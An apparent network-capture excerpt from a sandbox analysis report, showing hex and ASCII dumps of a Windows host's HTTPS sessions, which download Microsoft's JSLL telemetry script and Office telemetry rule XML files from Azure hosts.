2024-11-28 12:10:17 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-28 12:10:17 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49815	13.107.246.63	443	7248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:17 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 12:10:18 UTC	896	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:17 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241128T121017Z-174f7845968cpnpfhC1EWR3afc0000000y3g000000002arw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-28 12:10:18 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-28 12:10:18 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-11-28 12:10:18 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-11-28 12:10:18 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-11-28 12:10:18 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-11-28 12:10:18 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-11-28 12:10:18 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-11-28 12:10:18 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-11-28 12:10:18 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-11-28 12:10:18 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:18 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:18 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 34632f50-601e-0097-1466-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121018Z-174f7845968psccphC1EWRuz9s0000000yn00000000078wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:18 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:18 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:18 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: e4738428-701e-006f-2050-41afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121018Z-174f7845968px8v7hC1EWR08ng0000000yn0000000007qxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:18 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:18 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:18 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121018Z-174f7845968xlwnmhC1EWR0sv80000000y7000000000700d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:19 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:18 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:18 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121018Z-174f7845968swgbqhC1EWRmnb40000000yg00000000082uq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
